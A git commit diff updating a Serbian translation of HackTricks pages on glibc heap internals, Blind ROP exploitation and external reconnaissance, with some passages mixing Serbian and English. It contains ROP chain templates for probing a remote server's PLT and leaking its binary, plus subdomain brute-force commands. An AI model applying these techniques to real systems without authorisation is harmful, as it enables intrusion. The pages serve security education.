Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

This commit is contained in:
Translator 2024-09-23 23:34:33 +00:00
parent 13d3da9cb4
commit 38c85c7396
34 changed files with 889 additions and 327 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 30 KiB

View file

@ -189,6 +189,7 @@
* [macOS Default Sandbox Debug](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-default-sandbox-debug.md)
* [macOS Sandbox Debug & Bypass](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md)
* [macOS Office Sandbox Bypasses](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md)
* [macOS Authorizations DB & Authd](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-authorizations-db-and-authd.md)
* [macOS SIP](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md)
* [macOS TCC](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md)
* [macOS Apple Events](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-apple-events.md)
@ -196,7 +197,8 @@
* [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md)
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
* [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
* [macOS - AMFI - AppleMobileFileIntegrity](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md)
* [macOS MACF - Mandatory Access Control Framework](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md)
* [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
@ -841,7 +843,7 @@
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
* [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
* [Test LLMs](todo/test-llms.md)
* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
* [LLM Training](todo/llm-training-data-preparation/README.md)
* [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
* [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
* [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)

View file

@ -10,7 +10,7 @@ Kao što je prikazano, to je odmah nakon što se binarni fajl učita u memoriju
### Basic Chunk Allocation
Kada se zatraže neki podaci da budu smešteni u heap, određeni deo heap-a se alocira za njih. Ovaj prostor će pripadati bini i samo će zatraženi podaci + prostor za zaglavlja bina + minimalni offset veličine bina biti rezervisani za chunk. Cilj je da se rezerviše što manje memorije bez otežavanja pronalaženja gde se svaki chunk nalazi. Za to se koristi informacija o metapodacima chunk-a da se zna gde se nalazi svaki korišćeni/slobodni chunk.
Kada se zatraže neki podaci da budu smešteni u heap, određeni deo heap-a se alocira za njih. Ovaj prostor će pripadati bini i samo će zatraženi podaci + prostor za zaglavlja bina + minimalni offset veličine bina biti rezervisani za chunk. Cilj je da se rezerviše što manje memorije bez otežavanja pronalaženja gde se svaki chunk nalazi. Za ovo se koristi informacija o metapodacima chunk-a da bi se znalo gde se svaki korišćeni/slobodni chunk nalazi.
Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišćenog bina, ali opšta metodologija je sledeća:
@ -86,7 +86,7 @@ Postoje neke zanimljive stvari koje treba primetiti iz ove strukture (vidi C kod
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* `mchunkptr bins[NBINS * 2 - 2];` sadrži **pokazivače** na **prvi i poslednji chunk** malih, velikih i nesortiranih **bins** (minus 2 je zbog toga što se indeks 0 ne koristi)
* `mchunkptr bins[NBINS * 2 - 2];` sadrži **pokazivače** na **prvi i poslednji chunk** malih, velikih i nesortiranih **bins** (minus 2 je zato što se indeks 0 ne koristi)
* Stoga, **prvi chunk** ovih bins će imati **povratni pokazivač na ovu strukturu** i **poslednji chunk** ovih bins će imati **napredni pokazivač** na ovu strukturu. Što u suštini znači da ako možete l**eak-ovati ove adrese u glavnoj areni** imaćete pokazivač na strukturu u **libc**.
* Strukture `struct malloc_state *next;` i `struct malloc_state *next_free;` su povezane liste arena
* `top` chunk je poslednji "chunk", koji je u suštini **sva preostala memorija heap-a**. Kada je top chunk "prazan", heap je potpuno iskorišćen i treba da zatraži više prostora.
@ -155,11 +155,11 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
Kao što je prethodno komentarisano, ovi delovi takođe imaju neke metapodatke, vrlo dobro predstavljene na ovoj slici:
Kao što je prethodno komentarisano, ovi delovi takođe imaju neke metapodatke, veoma dobro predstavljene na ovoj slici:
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
Metapodaci obično imaju vrednost 0x08B koja označava trenutnu veličinu dela koristeći poslednje 3 bita za označavanje:
Metapodaci obično imaju vrednost 0x08B koja označava trenutnu veličinu dela koristeći poslednja 3 bita za označavanje:
* `A`: Ako je 1, dolazi iz podheap-a, ako je 0, u glavnoj areni je
* `M`: Ako je 1, ovaj deo je deo prostora dodeljenog sa mmap i nije deo heap-a
@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
Napomena da se za izračunavanje ukupnog potrebnog prostora `SIZE_SZ` dodaje samo 1 put jer se polje `prev_size` može koristiti za skladištenje podataka, stoga je potrebna samo početna glava.
Napomena da se za izračunavanje ukupnog potrebnog prostora `SIZE_SZ` dodaje samo 1 put jer se polje `prev_size` može koristiti za skladištenje podataka, stoga je potrebna samo početna zaglavlja.
### Dobijanje Chunk podataka i izmjena metapodataka
@ -420,11 +420,11 @@ Dodatni prostori rezervisani (0x21-0x10=0x11) dolaze od **dodatih zaglavlja** (0
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Пример вишенитног програмирања
### Multithreading Example
<details>
<summary>Вишенитно</summary>
<summary>Multithread</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -470,11 +470,11 @@ return 0;
Debugging prethodnog primera moguće je videti kako na početku postoji samo 1 arena:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Zatim, nakon pozivanja prvog threada, onog koji poziva malloc, kreira se nova arena:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
i unutar nje mogu se naći neki chunks:

View file

@ -39,16 +39,16 @@ Ovaj gadget u suštini omogućava da se potvrdi da je nešto zanimljivo izvršen
### **5. Pronađite BROP gadget**
Ova tehnika koristi [**ret2csu**](ret2csu.md) gadget. I to je zato što ako pristupite ovom gadgetu usred nekih instrukcija dobijate gadgete za kontrolu **`rsi`** i **`rdi`**:
Ova tehnika koristi [**ret2csu**](ret2csu.md) gadget. I to je zato što, ako pristupite ovom gadgetu usred nekih instrukcija, dobijate gadgete za kontrolu **`rsi`** i **`rdi`**:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Ovo bi bili gadgeti:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
Primetite kako sa tim gadgetima možete **kontrolisati 2 argumenta** funkcije koju pozivate.
Primetite kako je sa tim gadgetima moguće **kontrolisati 2 argumenta** funkcije koju pozivamo.
Takođe, primetite da ret2csu gadget ima **veoma jedinstvenu potpis** jer će iz steka izvući 6 registara. Dakle, slanjem lanca poput:
@ -60,11 +60,11 @@ Da bi se **uklonila ova poslednja opcija**, izvršava se novi lanac poput slede
`'A' * offset + canary + rbp + ADDR`
Poznavajući adresu ret2csu gadgeta, moguće je **izvesti adresu gadgeta za kontrolu `rsi` i `rdi`**.
Poznavanjem adrese ret2csu gadgeta, moguće je **izvesti adresu gadgeta za kontrolu `rsi` i `rdi`**.
### 6. Pronađite PLT
PLT tabela može se pretraživati od 0x400000 ili od **otkrivene RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni po 16B** (0x10B), i kada se pozove jedna funkcija server se ne sruši čak i ako argumenti nisu tačni. Takođe, provera adrese unosa u **PLT + 6B takođe ne sruši** jer je to prvi kod koji se izvršava.
PLT tabela može se pretraživati od 0x400000 ili od **otkrivene RIP adrese** sa steka (ako se koristi **PIE**). **Unosi** tabele su **razdvojeni po 16B** (0x10B), i kada se pozove jedna funkcija, server se ne sruši čak i ako argumenti nisu tačni. Takođe, provera adrese unosa u **PLT + 6B takođe ne sruši** jer je to prvi kod koji se izvršava.
Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
@ -74,22 +74,22 @@ Stoga, moguće je pronaći PLT tabelu proverom sledećih ponašanja:
### 7. Pronalazak strcmp
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu stringa koji se upoređuje. Imajte na umu da je **`rdx`** **treći argument** i potrebno je da bude **veći od 0** kako bismo kasnije koristili `write` da otkrijemo program.
Funkcija **`strcmp`** postavlja registar **`rdx`** na dužinu stringa koji se upoređuje. Imajte na umu da je **`rdx`** **treći argument** i treba da bude **veći od 0** kako bismo kasnije koristili `write` da otkrijemo program.
Moguće je pronaći lokaciju **`strcmp`** u PLT-u na osnovu njenog ponašanja koristeći činjenicu da sada možemo kontrolisati prva 2 argumenta funkcija:
* strcmp(\<nečitljiva adresa>, \<nečitljiva adresa>) -> rušenje
* strcmp(\<nečitljiva adresa>, \<čitljiva adresa>) -> rušenje
* strcmp(\<čitljiva adresa>, \<nečitljiva adresa>) -> rušenje
* strcmp(\<čitljiva adresa>, \<čitljiva adresa>) -> nema rušenja
* strcmp(\<non read addr>, \<non read addr>) -> rušenje
* strcmp(\<non read addr>, \<read addr>) -> rušenje
* strcmp(\<read addr>, \<non read addr>) -> rušenje
* strcmp(\<read addr>, \<read addr>) -> nema rušenja
Moguće je proveriti ovo pozivajući svaki unos PLT tabele ili koristeći **PLT spor put** koji se u suštini sastoji od **pozivanja unosa u PLT tabeli + 0xb** (što poziva **`dlresolve`**) praćeno na steku sa **brojem unosa koji želite da proverite** (počinjajući od nule) da skenirate sve PLT unose od prvog:
Moguće je proveriti ovo pozivajući svaki unos PLT tabele ili koristeći **PLT spor put** koji se u suštini sastoji od **pozivanja unosa u PLT tabeli + 0xb** (što poziva **`dlresolve`**) praćeno na steku sa **brojem unosa koji se želi ispitati** (počinjajući od nule) da bi se skenirali svi PLT unosi od prvog:
* strcmp(\<nečitljiva adresa>, \<čitljiva adresa>) -> rušenje
* strcmp(\<non read addr>, \<read addr>) -> rušenje
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Rušiće
* strcmp(\<čitljiva adresa>, \<nečitljiva adresa>) -> rušenje
* strcmp(\<read addr>, \<non read addr>) -> rušenje
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<čitljiva adresa>, \<čitljiva adresa>) -> nema rušenja
* strcmp(\<read addr>, \<read addr>) -> nema rušenja
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Zapamtite da:
@ -98,7 +98,7 @@ Zapamtite da:
* BROP + 0x9 ukazuje na **`pop RDI; ret;`**
* PLT + 0xb ukazuje na poziv **dl\_resolve**.
Nakon što pronađete `strcmp`, moguće je postaviti **`rdx`** na vrednost veću od 0.
Nakon što je pronađen `strcmp`, moguće je postaviti **`rdx`** na vrednost veću od 0.
{% hint style="success" %}
Imajte na umu da obično `rdx` već sadrži vrednost veću od 0, tako da ovaj korak možda nije neophodan.
@ -108,7 +108,7 @@ Imajte na umu da obično `rdx` već sadrži vrednost veću od 0, tako da ovaj ko
Na kraju, potreban je gadget koji eksfiltrira podatke kako bi se eksfiltrirao binarni fajl. I u ovom trenutku moguće je **kontrolisati 2 argumenta i postaviti `rdx` veći od 0.**
Postoje 3 uobičajene funkcije koje bi mogle biti zloupotrebljene za ovo:
Postoje 3 uobičajene funkcije koje bi se mogle zloupotrebiti za ovo:
* `puts(data)`
* `dprintf(fd, data)`
@ -118,15 +118,15 @@ Međutim, originalni rad pominje samo **`write`**, pa hajde da pričamo o tome:
Trenutni problem je što ne znamo **gde se funkcija write nalazi unutar PLT-a** i ne znamo **fd broj da pošaljemo podatke našem soketu**.
Međutim, znamo **gde se nalazi PLT tabela** i moguće je pronaći write na osnovu njenog **ponašanja**. I možemo stvoriti **nekoliko veza** sa serverom i koristiti **visok FD** nadajući se da se poklapa sa nekim od naših veza.
Međutim, znamo **gde se nalazi PLT tabela** i moguće je pronaći write na osnovu njenog **ponašanja**. I možemo stvoriti **nekoliko veza** sa serverom i koristiti **visok FD** nadajući se da će se poklopiti sa nekim od naših veza.
Potpis ponašanja za pronalaženje tih funkcija:
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci štampaju, onda je pronađen puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci štampaju, onda je pronađen dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci štampaju, onda je pronađen write
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci ispisuju, onda je pronađen puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci ispisuju, onda je pronađen dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Ako se podaci ispisuju, onda je pronađen write
## Automatska Eksploatacija
## Automatska eksploatacija
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)

View file

@ -1,36 +1,36 @@
# External Recon Methodology
# Metodologija Eksterne Recon
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Podrška HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
## Otkrivanje sredstava
## Otkrića imovine
> Tako su vam rekli da je sve što pripada nekoj kompaniji unutar opsega, i želite da saznate šta ta kompanija zapravo poseduje.
Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sva **sredstva** tih kompanija. Da bismo to postigli, uradićemo sledeće:
Cilj ove faze je da se dobiju sve **kompanije koje poseduje glavna kompanija** i zatim sve **imovine** tih kompanija. Da bismo to postigli, uradićemo sledeće:
1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije unutar opsega.
2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje poseduje svaka kompanija.
3. Koristiti obrnute whois pretrage da tražimo druge unose (imena organizacija, domene...) povezane sa prvim (to se može raditi rekurzivno).
4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druga sredstva (trik sa `ssl` se može raditi rekurzivno).
4. Koristiti druge tehnike kao što su shodan `org` i `ssl` filteri da tražimo druge imovine (trik sa `ssl` se može raditi rekurzivno).
### **Akvizicije**
@ -38,14 +38,14 @@ Prvo, treba da znamo koje **druge kompanije poseduje glavna kompanija**.\
Jedna opcija je da posetite [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražite** **glavnu kompaniju**, i **kliknite** na "**akvizicije**". Tamo ćete videti druge kompanije koje je glavna kompanija akvizirala.\
Druga opcija je da posetite **Wikipedia** stranicu glavne kompanije i potražite **akvizicije**.
> U redu, u ovom trenutku trebali biste znati sve kompanije unutar opsega. Hajde da saznamo kako da pronađemo njihova sredstva.
> U redu, u ovom trenutku trebali biste znati sve kompanije unutar opsega. Hajde da saznamo kako da pronađemo njihovu imovinu.
### **ASN-ovi**
Broj autonomnog sistema (**ASN**) je **jedinstveni broj** dodeljen **autonomnom sistemu** (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\
**AS** se sastoji od **blokova** **IP adresa** koji imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
**AS** se sastoji od **blokova** **IP adresa** koje imaju jasno definisanu politiku za pristup spoljnim mrežama i kojima upravlja jedna organizacija, ali se mogu sastojati od više operatera.
Zanimljivo je saznati da li **kompanija ima dodeljen neki ASN** da bismo pronašli njene **IP opsege.** Biće zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
Zanimljivo je saznati da li je **kompanija dodelila neki ASN** da bi pronašla svoje **IP opsege.** Bilo bi zanimljivo izvršiti **test ranjivosti** protiv svih **hostova** unutar **opsega** i **tražiti domene** unutar ovih IP adresa.\
Možete **pretraživati** po imenu kompanije, po **IP-u** ili po **domenu** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**U zavisnosti od regiona kompanije, ovi linkovi bi mogli biti korisni za prikupljanje dodatnih podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno su sve** korisne informacije **(IP opsezi i Whois)** već prikazane u prvom linku.
```bash
@ -113,9 +113,9 @@ Možete koristiti online alate kao što su:
* [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno
Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink) (zahteva whoxy API ključ).\
Takođe možete izvršiti neku automatsku obrnutu whois otkriće sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
Takođe možete izvršiti neku automatsku obrnutu whois otkrivanje sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Napomena da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novi domen.**
**Napomena da možete koristiti ovu tehniku da otkrijete više imena domena svaki put kada pronađete novu domenu.**
### **Trackers**
@ -174,7 +174,7 @@ Check out this [**writeup for more information**](https://swarm.ptsecurity.com/d
### Mail DMARC information
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domeni i poddomeni koji dele iste dmarc informacije**.
You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
### **Passive Takeover**
@ -194,7 +194,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
**Assetfinder**
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domeni povezani** sa glavnim domenom i **poddomenima** njih, prilično neverovatno.
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
### **Looking for vulnerabilities**
@ -220,7 +220,7 @@ Note that some of the tools and techniques to find domains can also help to find
### **DNS**
Let's try to get **poddomeni** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
```bash
dnsrecon -a -d tesla.com
```
@ -356,11 +356,11 @@ Za ovu akciju biće vam potrebne neke **uobičajene liste reči za subdomene kao
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Takođe i IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Najpreporučivaniji alati za DNS brute-force su:
Najpreporučiviji alati za DNS brute-force su:
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izveo DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je efikasno izvršavao DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivnim rezultatima.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -390,7 +390,7 @@ Nakon što ste pronašli poddomene koristeći otvorene izvore i brute-forcing, m
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i subdomeni generišite permutacije.
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišite permutacije.
* Možete dobiti goaltdns permutacije **wordlist** [**ovde**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
@ -399,7 +399,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija poddomena, može pokušati i da ih reši (ali je bolje koristiti prethodno pomenute alate).
* [**altdns**](https://github.com/infosec-au/altdns): Osim generisanja permutacija subdomena, može pokušati i da ih reši (ali je bolje koristiti prethodno pomenute alate).
* Možete dobiti altdns permutacije **wordlist** u [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
@ -442,7 +442,7 @@ Možete pronaći neke **VHost-ove na IP-ovima koristeći** [**HostHunter**](http
**Brute Force**
Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute-forcujete:
Ako sumnjate da neki poddomen može biti skriven na web serveru, možete pokušati da ga brute force-ujete:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -478,7 +478,7 @@ Možete **pratiti** da li su **nove subdomene** domena kreirane praćenjem **Cer
### **Traženje ranjivosti**
Proverite moguće [**preuzimanje subdomena**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Ako se **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
Ako **subdomena** upućuje na neki **S3 bucket**, [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/).
